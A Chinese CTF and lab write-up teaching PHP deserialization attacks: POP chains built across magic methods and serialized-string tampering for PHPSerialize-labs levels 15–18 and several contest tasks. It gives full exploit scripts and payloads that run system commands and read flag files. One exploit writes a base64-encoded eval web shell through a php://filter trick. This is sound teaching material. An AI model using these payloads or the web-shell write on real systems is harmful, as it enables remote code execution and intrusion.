2026-08-19
php反序列化
00
请注意,本文编写于 87 天前,最后修改于 68 天前,其中某些信息可能已经过时。

目录

一、从"单点突破"到"链式反应":POP 链入门
1.1 什么是 POP 链?
1.2 POP 链黄金法则:从终点倒推
二、Level 15:POP 链初步 —— 对象嵌套与属性链
2.1 题目源码
2.2 倒推分析
1. 对象属性可以存另一个对象
2. 题目中 $this->d->action() 的意思
3. 题目中 $this->cmd->a->b->c 的意思
4. 类比理解
5. 具体构造攻击链
2.3 构造嵌套关系
2.4 完整 EXP
2.5 关键总结
三、Level 16:zePOP —— 多魔术方法串联
3.1 题目源码
3.2 倒推分析
3.3 攻击链图
3.4 完整 EXP
3.5 三阶魔术方法接力详解
四、Level 17:字符串逃逸基础 —— 无中生有
4.1 题目源码与现象
4.2 核心原理:反序列化的"无中生有"
4.3 解题思路
4.4 完整 EXP
4.5 关键总结
五、Level 18:字符串逃逸基础 —— 字符串尾部判定
5.1 题目源码
5.2 核心原理:字符串长度决定边界
5.3 解题思路:双替换
5.4 完整 Payload
5.5 关键总结
六、补充:POP 链中常见的其他魔术方法
6.1 call() 与 callStatic() —— 方法调用的"兜底"
6.2 属性重载 —— get() / set() / isset() / unset()
6.3 魔术方法速查总表
例题说:
2025御网杯反序列化
奇安信的datacon训练营
七、POP 链与字符串逃逸的关联
八、总结与 Payload 速查
8.1 各关卡核心知识点
8.2 Payload 速查

本文基于 PHPSerialize-labs 靶场 Level 15-18 整理,承前掌握基础反序列化(单类魔术方法利用)。

前置阅读建议:若你还不熟悉 __wakeup()、__destruct()、__toString()、__invoke() 等基础魔术方法可以看上一章节。


一、从"单点突破"到"链式反应":POP 链入门

1.1 什么是 POP 链?

前面的关卡(Level 7-14)都属于**"单点突破"**——找到一个类,里面某个魔术方法直接包含 eval()、system() 或 include(),控制它的属性就能拿到 flag。

但真实世界的代码很少把"危险操作"和"入口点"放在同一个类里。**POP 链(Property Oriented Programming,面向属性编程)**就像一场接力赛:

  • 第一棒(入口):__wakeup() 或 __destruct() 被触发
  • 第二棒(中转):某个方法被调用,触发另一个类的 __toString() 或 __invoke()
  • 第三棒(终点):最终执行 eval()、system() 或 include()

每一棒都不直接产生危害,但把它们串起来,就能形成完整的攻击链。

1.2 POP 链黄金法则:从终点倒推

不要从 unserialize() 开始想,要从 eval()/system() 往回找:

  1. 找终点(Sink):找到最终执行危险操作的代码
  2. 找跳板(Gadget):看谁调用了这个危险方法,或触发了能到达危险方法的魔术方法
  3. 找入口(Source):找到反序列化后能自动触发的魔术方法

二、Level 15:POP 链初步 —— 对象嵌套与属性链

2.1 题目源码

php
class A { public $a; public function __construct($a) { $this->a = $a; } } class B { public $b; public function __construct($b) { $this->b = $b; } } class C { public $c; public function __construct($c) { $this->c = $c; } } class D { public $d; public function __construct($d) { $this->d = $d; } public function __wakeUp() { $this->d->action(); } } class destnation { var $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function action(){ eval($this->cmd->a->b->c); } } if(isset($_POST['o'])) { unserialize($_POST['o']); }

2.2 倒推分析

终点:destnation::action() 里的 eval($this->cmd->a->b->c)

跳板:D::__wakeUp() 调用了 $this->d->action(),只要让 $this->d 是 destnation 对象即可。

入口:unserialize() 触发 D::__wakeUp()。

提示

1. 对象属性可以存另一个对象

在 PHP 里,一个对象的属性不仅可以是字符串、数字,还可以是另一个对象。

比如:

php
class Dog { public function bark() { echo "汪!"; } } class Person { public $pet; // 这个属性可以存一个 Dog 对象 } $dog = new Dog(); $person = new Person(); $person->pet = $dog; // 把 Dog 对象放进 Person 的 pet 属性里 // 现在可以通过 Person 对象访问 Dog 对象的方法 $person->pet->bark(); // 输出:汪!

这里 $person->pet 是一个 Dog 对象,所以可以继续用 -> 调用它的 bark() 方法。


2. 题目中 $this->d->action() 的意思

php
class D { public $d; public function __wakeUp() { $this->d->action(); // 这里 $this->d 应该是一个有 action() 方法的对象 } }
  • $this->d 是 D 对象的一个属性。
  • 如果我们把 $d 属性设置成一个 destnation 对象(它恰好有 action() 方法),那么 $this->d->action() 就会调用这个 destnation 对象的 action() 方法。

所以问题“没有名为 d 的类却有 action 方法”其实是因为:d 不是类名,它只是一个属性名。这个属性可以存放任何对象,我们故意让它存放一个 destnation 对象,而 destnation 类里有 action() 方法。


3. 题目中 $this->cmd->a->b->c 的意思

php
class destnation { var $cmd; public function action(){ eval($this->cmd->a->b->c); } }
  • $this->cmd 是 destnation 对象的一个属性,我们把它设置成一个 A 对象。
  • A 对象有属性 a,我们把它的 a 属性设置成 B 对象。
  • B 对象有属性 b,我们把它的 b 属性设置成 C 对象。
  • C 对象有属性 c,我们把它的 c 属性设置成一段字符串(恶意代码)。

于是:

$this->cmd → A 对象 $this->cmd->a → B 对象 $this->cmd->a->b → C 对象 $this->cmd->a->b->c → 恶意代码字符串

最终 eval($this->cmd->a->b->c) 就是执行那段恶意代码。


4. 类比理解

想象你有一个遥控器(D),遥控器上有个按钮(d)。这个按钮可以安装不同的功能模块(destnation 对象)。安装的模块上又有个插槽(cmd),你可以插入一个转换器(A 对象),转换器又连接另一个转换器(B 对象),再连一个转换器(C 对象),最后转换器输出一段文字(恶意代码)。按下按钮时,整个链条传递,最终执行那段文字。

POP 链就是利用这些对象之间天然存在的调用关系,把它们像积木一样拼起来,最终触发危险操作。


5. 具体构造攻击链

我们想让 eval 执行读取 flag 文件的代码:

php
echo file_get_contents('flag.php');

于是构造对象链:

D 对象 └─ d → destnation 对象 └─ cmd → A 对象 └─ a → B 对象 └─ b → C 对象 └─ c → "echo file_get_contents('flag.php');"

对应的序列化字符串(从内到外):

  • C 对象:O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}
  • B 对象:O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}
  • A 对象:O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}
  • destnation 对象:O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}
  • D 对象:O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}}

注意长度:destnation 是 10 个字符,echo file_get_contents('flag.php'); 长度是 35。

2.3 构造嵌套关系

eval($this->cmd->a->b->c) 是一条属性访问链:

  • $this->cmd → 必须是 A 对象(因为有 $a 属性)
  • $this->cmd->a → 必须是 B 对象(因为有 $b 属性)
  • $this->cmd->a->b → 必须是 C 对象(因为有 $c 属性)
  • $this->cmd->a->b->c → 最终是命令字符串

2.4 完整 EXP

这个也可以的 图片.png

php
<?php // 定义类(属性名必须与题目一致) class A { public $a; } class B { public $b; } class C { public $c; } class D { public $d; } class destnation { var $cmd; } // 构造恶意代码字符串 $code = "echo file_get_contents('flag.php');"; // 从内到外构建对象链 $c_obj = new C(); $c_obj->c = $code; $b_obj = new B(); $b_obj->b = $c_obj; $a_obj = new A(); $a_obj->a = $b_obj; $dest_obj = new destnation(); $dest_obj->cmd = $a_obj; $d_obj = new D(); $d_obj->d = $dest_obj; // 序列化并输出 echo serialize($d_obj); ?>

这样写也可以 图片.png 这里不知为何type和file_get_contents都有点问题 图片.png

php
<?php class A { public $a; function __construct($a){ $this->a=$a; } } class B { public $b; function __construct($b){ $this->b=$b; } } class C { public $c; function __construct($c){ $this->c=$c; } } class D { public $d; function __construct($d){ $this->d=$d; } } class destnation { var $cmd; function __construct($cmd){ $this->cmd=$cmd; } } // 从里往外构造 $c = new C("system('cat /flag');"); $b = new B($c); $a = new A($b); $des = new destnation($a); $d = new D($des); echo urlencode(serialize($d)); ?>

Payload:

o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:22:"system('cat /flag');";}}}}}

2.5 关键总结

Level 15 的核心教学意义:对象的属性可以是另一个对象,反序列化会完整还原这种嵌套关系。 虽然叫"POP 链",但本质上还是单入口点 + 属性嵌套。


三、Level 16:zePOP —— 多魔术方法串联

3.1 题目源码

php
class A { public $a; public function __invoke() { include $this->a; return $flag; } } class B { public $b; public function __toString() { $f = $this->b; return $f(); } } class INIT { public $name; public function __wakeUp() { echo $this->name.' is awake!'; } } if(isset($_POST['o'])) { unserialize($_POST['o']); }

3.2 倒推分析

终点:A::__invoke() 里的 include $this->a,需要 $this->a = 'flag.php'

跳板 1:__invoke() 需要对象被当作函数调用($obj())。B::__toString() 里有 $f(),如果 $this->b 是 A 对象,就能触发 A::__invoke()。

跳板 2:__toString() 需要对象被当作字符串使用。INIT::__wakeUp() 里有 echo $this->name,如果 $this->name 是 B 对象,就能触发 B::__toString()。

入口:unserialize() 触发 INIT::__wakeUp()。

3.3 攻击链图

[unserialize] ↓ 自动触发 [INIT::__wakeup()] echo $this->name ↓ $this->name 是 B 对象 → 触发 __toString() [B::__toString()] $f = $this->b; return $f(); ↓ $this->b 是 A 对象 → 触发 __invoke() [A::__invoke()] include $this->a ↓ [终点: include('flag.php')]

3.4 完整 EXP

省事一点我这么写也是可以的,为了一层层执行,这里从最外层开始执行,也就是exp需要最后一个写init层

php
<?php class A { public $a; public function __invoke() { include $this->a; return $flag; } } class B { public $b; public function __toString() { $f = $this->b; return $f(); } } class INIT { public $name; public function __wakeUp() { echo $this->name.' is awake!'; } } $file="flag.php"; $a = new A(); $a->a=$file; $b=new B(); $b->b=$a; $fuck=new INIT($b); $fuck->name=$b; echo serialize($fuck);

图片.png 图片.png

php
<?php class A { public $a; } class B { public $b; } class INIT { public $name; } $a = new A(); $a->a = 'flag.php'; $b = new B(); $b->b = $a; $init = new INIT(); $init->name = $b; echo urlencode(serialize($init)); ?>

Payload:

o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

3.5 三阶魔术方法接力详解

阶数魔术方法触发条件在链中的作用
第一阶__wakeup()unserialize() 开始时入口点,通过 echo 触发下一阶
第二阶__toString()对象被当作字符串中转站,通过 $obj() 触发下一阶
第三阶__invoke()对象被当作函数调用终点执行器,完成 include

为什么不能跳级? 因为 PHP 的魔术方法有严格的触发条件。__wakeup() 里没有"把对象当函数调用"的代码,所以必须先通过 echo 触发 __toString(),再在 __toString() 里写 $f() 触发 __invoke()。这就是 POP 链的精髓:利用代码中已有的"类型转换"或"方法调用"作为桥梁,一级一级传递控制权。


四、Level 17:字符串逃逸基础 —— 无中生有

4.1 题目源码与现象

php
class A { } class B { public $a = "Hello"; protected $b = "CTF"; private $c = "FLAG{TEST}"; } echo "Class A is NULL: '".serialize(new A())."'<br>"; echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>"; $serliseString = serialize(new B()); $serliseString = str_replace('B', 'A', $serliseString); echo "After replace B with A,we unserialize it and dump :<br>"; var_dump(unserialize($serliseString)); if(isset($_POST['o'])) { $a = unserialize($_POST['o']); if ($a instanceof A && $a->helloctfcmd == "get_flag") { include 'flag.php'; echo $flag; } }

图片.png

4.2 核心原理:反序列化的"无中生有"

题目先做了一个有趣的演示:

  1. A 是空类,没有任何属性,serialize(new A()) 结果是 O:1:"A":0:{}
  2. B 有 3 个属性,序列化后把类名 B 替换成 A
  3. 用 unserialize() 还原后,空类 A 居然拥有了 3 个属性!

然后 unserialize() 这个修改后的字符串时:

  • PHP 会按照类名 A 创建对象。
  • 属性名 \0A\0c 被解释为 A 类的 private 属性 c。
  • 尽管 A 类没有定义属性 c,但反序列化时仍然会为对象创建这个属性。

所以 var_dump 显示:

object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" }

序列化字符串可以决定反序列化后对象的属性和值,即使类定义里没有这些属性(前提是属性名格式正确)。

这说明:PHP 反序列化时,序列化字符串的优先级高于类定义。 即使类 A 没有定义这些属性,只要序列化字符串里说"我有这些属性",PHP 就会"无中生有"地给对象添加上。

4.3 解题思路

题目要求:

php
$a instanceof A && $a->helloctfcmd == "get_flag"

A 类是空的,没有 helloctfcmd 属性。但利用上面的特性,我们可以在序列化字符串里"伪造"这个属性!

4.4 完整 EXP

图片.png

php
<?php class A { public $helloctfcmd = "get_flag"; } echo urlencode(serialize(new A())); ?>

Payload:

图片.png

o=O:1:"A":1:{s:10:"helloctfcmd";s:8:"get_flag";}

4.5 关键总结

"无中生有"的本质:反序列化创建的对象由类定义和序列化字符串共同决定,但序列化字符串的优先级更高。当字符串里存在类定义中没有的属性时,PHP 会直接"采纳"字符串里的描述。

这在后续更复杂的字符串逃逸题目中非常重要——它意味着我们可以通过操控序列化字符串,给对象添加任意属性,甚至改变对象的结构。


五、Level 18:字符串逃逸基础 —— 字符串尾部判定

5.1 题目源码

php
class Demo { public $a = "Hello"; public $b = "CTF"; public $key = 'GET_FLAG";}FAKE_FLAG'; } class FLAG { } $serliseStringDemo = serialize(new Demo()); $target = $_GET['target']; $change = $_GET['change']; $serliseStringFLAG = str_replace($target, $change, $serliseStringDemo); $FLAG = unserialize($serliseStringFLAG); if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') { echo $flag; }

页面输出提示:

SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}' Change SOMETHING TO GET FLAG

5.2 核心原理:字符串长度决定边界

我这里的思路是替换他现在反序列化的内容使其变成我想要的序列化字符串

图片.png 对比下差在哪里,可以发现插在片吗,后面的FAKE_FLAG";}我们可以不要

php
O:4:"FLAG":1:{s:3:"key";s:8:"GET_FLAG";} O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}

所以我们只需要替换

这些部分

php
target = O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20 change = O:4:"FLAG":1:{s:3:"key";s:8

于是得到payload

php
http://localhost/PHPSerialize-labs-main/Level18/index.php?target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20&change=O:4:"FLAG":1:{s:3:"key";s:8

图片.png

但是看了下官方wp不是这么干的,这里简要说下,于是你可以继续看,看完简短的也可以不看后面的额

当你在 URL 中使用:

text
index.php?target[]=Demo&target[]=20&change[]=FLAG&change[]=8

PHP 会把 target 和 change 解析成数组:

  • $target = array('Demo', '20')
  • $change = array('FLAG', '8')

实际执行效果相当于:

  1. 先执行 str_replace('Demo', 'FLAG', $serliseStringDemo);
  2. 再执行 str_replace('20', '8', 上一步结果)。

最终原始字符串:

text
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}

被替换为:

text
O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}

注意:类名变成了 FLAG,属性长度 s:20 变成了 s:8。

图片.png

这个确实比较巧妙,或者说这道题就是应该这么解题的


PHP 反序列化规则:当成员属性的数量、名称长度、内容长度均一致时,程序会以 ";} 作为字符串的结尾判定。

但这有个前提——字符串长度声明必须准确。让我们分析原始序列化字符串中的关键部分:

s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}"

这里 s:20 表示后面的字符串内容长度是 20。让我们数一下引号之间的内容:

G-E-T-_-F-L-A-G-"-;-}-F-A-K-E-_-F-L-A-G 1-2-3-4-5-6-7-8-9-10-11-12-13-14-15-16-17-18-19-20

正好 20 个字符!所以 PHP 会读取 GET_FLAG";}FAKE_FLAG 作为 key 的值。

反序列化后:

  • $FLAG->key 的值是 GET_FLAG";}FAKE_FLAG(长度 20)
  • 然后 PHP 遇到 " 认为字符串结束
  • 接着遇到 ;} 认为 Demo 对象结束
  • 最后多出来的 ";} 被忽略

但题目要求:

  1. $FLAG instanceof FLAG(必须是 FLAG 类的对象,不是 Demo)
  2. $FLAG->key == 'GET_FLAG'(key 的值必须恰好是 GET_FLAG,不能带后面的垃圾)

5.3 解题思路:双替换

我们需要通过 str_replace 做两件事:

第一步:改类名 Demo → FLAG 让反序列化出来的对象变成 FLAG 类的实例。

第二步:改字符串长度 s:20 → s:8 让 PHP 只读取 GET_FLAG(8 个字符),后面的 ";}FAKE_FLAG 被当作对象结束符和垃圾数据丢弃。

替换后的字符串变成:

O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}"

现在解析过程:

  • s:8:"GET_FLAG" → 读取 8 个字符 GET_FLAG,遇到 " 结束
  • 后面跟着 ;} → PHP 认为 FLAG 对象到此结束
  • 后面的 FAKE_FLAG";} → 被当作无关字符丢弃

这样反序列化出来的就是 FLAG 对象,且 $key = 'GET_FLAG'!

5.4 完整 Payload

通过 GET 参数传入替换规则:

?target[]=Demo&target[]=20&change[]=FLAG&change[]=8

str_replace 会按数组顺序批量替换:

  • 所有 Demo → FLAG
  • 所有 20 → 8

5.5 关键总结

概念含义
字符串尾部判定PHP 以 ";} 作为对象/属性结束的标记
长度篡改通过修改 s:长度 的值,控制 PHP 读取多少字符
截断效应当长度变小时,后面的内容被当作结构符号或垃圾丢弃

这是字符串逃逸最基础的原理。在更高级的题型中,攻击者会通过控制用户输入的长度,让替换后的字符串"吃掉"或"吐出"额外的序列化结构,从而构造出完全可控的恶意对象。


六、补充:POP 链中常见的其他魔术方法

前面 Level 15-16 主要涉及了 __wakeup()、__toString()、__invoke()。但在 CTF 和真实漏洞中,还有一批魔术方法经常出现在 POP 链里。这里一并补充。

6.1 __call() 与 __callStatic() —— 方法调用的"兜底"

触发时机:

  • __call():在对象上下文中调用一个不存在或不可访问的方法时触发
  • __callStatic():在静态上下文中调用一个不存在或不可访问的方法时触发

简单示例:

php
<?php class Example { public function __call($name, $arguments) { echo "调用了不存在的方法 '$name',参数是:" . implode(', ', $arguments); } public static function __callStatic($name, $arguments) { echo "静态调用了不存在的方法 '$name'"; } } $obj = new Example(); $obj->fuck('me'); // 触发 __call() Example::mother('fuck'); // 触发 __callStatic() ?>

在 POP 链中的作用:

如果某个跳板类里写了 $this->xxx->someMethod(),但 someMethod() 在目标类里不存在,就会触发目标类的 __call()。如果 __call() 里有危险操作,就能被利用。

6.2 属性重载 —— __get() / __set() / __isset() / __unset()

这组方法被称为属性重载(Overloading),用于处理对不可访问(protected/private)或不存在的属性的访问。

魔术方法触发条件
__get($name)读取不可访问或不存在的属性时
__set($name, $value)给不可访问或不存在的属性赋值时
__isset($name)对不可访问或不存在的属性调用 isset() 或 empty() 时
__unset($name)对不可访问或不存在的属性调用 unset() 时

简单示例:

php
<?php class Test { private $secret = "hidden"; public function __get($name) { echo "你在读取属性 '$name',但它不存在或不可访问\n"; return "fake_value"; } public function __set($name, $value) { echo "你在给属性 '$name' 赋值 '$value'\n"; } } $t = new Test(); echo $t->not_exist; // 触发 __get() $t->new_prop = "hello"; // 触发 __set() ?>

在 POP 链中的作用:

如果终点代码是 echo $this->obj->someProperty,而 someProperty 在目标类里不存在,就会触发目标类的 __get()。如果 __get() 里有 include 或 eval,就能形成攻击链。

6.3 魔术方法速查总表

在 POP 链实战中,建议把下面这张表当作"地图",拿到源码后先扫一遍有哪些魔术方法:

魔术方法触发时机危险程度常见利用场景
__construct()new 创建对象时⭐初始化(反序列化不触发)
__destruct()对象被销毁时⭐⭐⭐脚本结束自动触发,常见入口
__wakeup()unserialize() 开始时⭐⭐⭐最常见入口点
__sleep()serialize() 之前⭐控制哪些属性被序列化
__toString()对象被当作字符串时⭐⭐⭐echo、sprintf、拼接
__invoke()对象被当作函数调用 $obj()⭐⭐⭐需要前一个跳板调用它
__call()调用不存在的方法时⭐⭐$this->obj->method()
__callStatic()静态调用不存在的方法时⭐较少见
__get()读取不存在的属性时⭐⭐$this->obj->property
__set()给不存在的属性赋值时⭐较少作为终点
__isset()对不存在属性用 isset() 时⭐辅助型
__unset()对不存在属性用 unset() 时⭐辅助型
__clone()对象被 clone 时⭐复制对象时触发

实战技巧: 拿到题目源码后,先用 grep 扫出所有 __ 开头的方法,然后看哪些方法里有危险函数(eval、system、include、file_get_contents),再用倒推法找链。

例题说:

2025御网杯反序列化

图片.png

php
<?php highlight_file(__FILE__); function filter($name){ $safe = array("flag", "php"); return str_replace($safe, "hack", $name); } class mylogin { var $user; var $pass; function __construct($user, $pass) { $this->user = $user; $this->pass = $pass; } } if ($_POST['msg']) { $filtered_input = filter($_POST['msg']); $a = unserialize($filtered_input); if ($a instanceof mylogin) { if ($a->pass === "myzS@11wawq") { $flagfile = '/flag.txt'; echo 'Flag: ' . file_get_contents($flagfile); exit(); } else { $tis = "您是小自吧,差一点就成功了!"; } } else { $tis = "您输入的信息可能去非洲才能找到哦!"; } } ?>

图片.png 如图和代码所示,他会过滤掉flag.php,然后就是让你调用构造然后传参,没啥的

写一个exp,这里只要求了用户密码pass,用户名随意

图片.png 然后复制传参 图片.png

奇安信的datacon训练营

图片.png

php
<?php error_reporting(0); class User{ public $username; public $password; public $variable; public $a; public function __construct() { $this->username = "user"; $this->password = "user"; } public function __wakeup(){ if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){ echo "wuhu!"; return $this->variable->xxx; }else{ die("o^o"); } } } class Login{ public $point; public function __get($key){ $func = $this->point; return $func(); } } class Read{ public $filename; public function __invoke(){ echo file_get_contents($this->filename.".php"); } } if(isset($_GET['x'])){ unserialize($_GET['x']); }else{ highlight_file(__FILE__); } ?>

分析可以得出,我们可以通过反序列化user的wakeup方法执行return $this->variable->xxx到一个不存在的变量,然后再触发login的get方法执行return $func();把read的invoke当做方法触发执行最终输出我们想要的flag

php
User::__wakeup() → Login::__get('xxx') → Read::__invoke() → file_get_contents()

编写exp

为啥会是

php
$user->variable=$login; $login->point=$read;

因为这样的话就是$login->xxx从而触发get,return $read();触发invoke方法

图片.png

php
<?php class User { public $username; public $password; public $variable; public $a; } class Login { public $point; } class Read { public $filename; } $user = new User(); $login = new Login(); $read = new Read(); $read->filename="flag"; $user->username=array(1); $user->password=array(2); $user->a=NULL; $user->variable=$login; $login->point=$read; echo serialize($user); ?>

发送

图片.png

2025新生赛 图片.png

php
<?php class gogogo { public $www = "Lets start! "; public function __destruct() { echo $this->www; } } class start { public $coffe; public function __tostring() { return $this->coffe->dense; } } class soda { public $gunmu; public function __get($content) { $g = $this->gunmu; return $g(); } } class end { public $content; public $filename; public function __invoke() { file_put_contents($this->filename, "<?php exit();" . $this->content); } } if (isset($_GET['p'])) { $ser = unserialize($_GET['p']); } else { highlight_file(__FILE__); }

这个链的构造没啥的,主要是exit的绕过

推荐文章

原理就是,通过base64编码+filter过滤,使得exit变为不可读字符串,但是这里要记住url编码,不编码会把+解析为空格

exp

php
<?php class gogogo { public $www = "Lets start! "; public function __destruct() { echo $this->www; } } class start { public $coffe; public function __tostring() { return $this->coffe->dense; } } class soda { public $gunmu; public function __get($content) { $g = $this->gunmu; return $g(); } } class end { public $content='aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'; public $filename='php://filter/write=convert.base64-decode/resource=shell.php'; } $go=new gogogo(); $sa = new start(); $so = new soda(); $en = new end(); $go->www=$sa; $sa->coffe=$so; $so->gunmu=$en; echo urlencode(serialize($go));

七、POP 链与字符串逃逸的关联

Level 15-16 是正统 POP 链——通过对象嵌套和魔术方法接力来传递控制权。

Level 17-18 是字符串层面的 POP 链——通过操控序列化字符串本身,利用 PHP 解析器的特性来"伪造"对象结构。

类型操控层面核心能力代表关卡
正统 POP 链对象层面控制对象之间的引用关系Level 15-16
字符串逃逸字符串层面控制序列化字符串的解析边界Level 17-18

在高级题目中,这两种技术经常结合使用:先用字符串逃逸"构造"出一个包含恶意属性的对象,再通过 POP 链触发这些属性指向的危险方法。


八、总结与 Payload 速查

8.1 各关卡核心知识点

关卡核心知识点链长度关键特性
Level 15对象嵌套、属性链2 阶对象的属性可以是对象
Level 16多魔术方法串联3 阶__wakeup→__toString→__invoke
Level 17无中生有字符串层序列化字符串优先级高于类定义
Level 18字符串尾部判定字符串层篡改 s:长度 实现截断与逃逸

8.2 Payload 速查

Level 15:

php
$c = new C("system('cat /flag');"); $b = new B($c); $a = new A($b); $des = new destnation($a); $d = new D($des); echo urlencode(serialize($d));

Level 16:

php
$a = new A(); $a->a = 'flag.php'; $b = new B(); $b->b = $a; $init = new INIT(); $init->name = $b; echo urlencode(serialize($init));

Level 17:

php
class A { public $helloctfcmd = "get_flag"; } echo urlencode(serialize(new A()));

Level 18:

GET ?target[]=Demo&target[]=20&change[]=FLAG&change[]=8

  • 字符串逃逸的进阶:字符增多/减少导致的逃逸(如 str_replace('x', 'yy', $str) 或 str_replace('xx', 'y', $str))
  • Session 反序列化
  • Phar 反序列化
  • 引用(&)在反序列化中的利用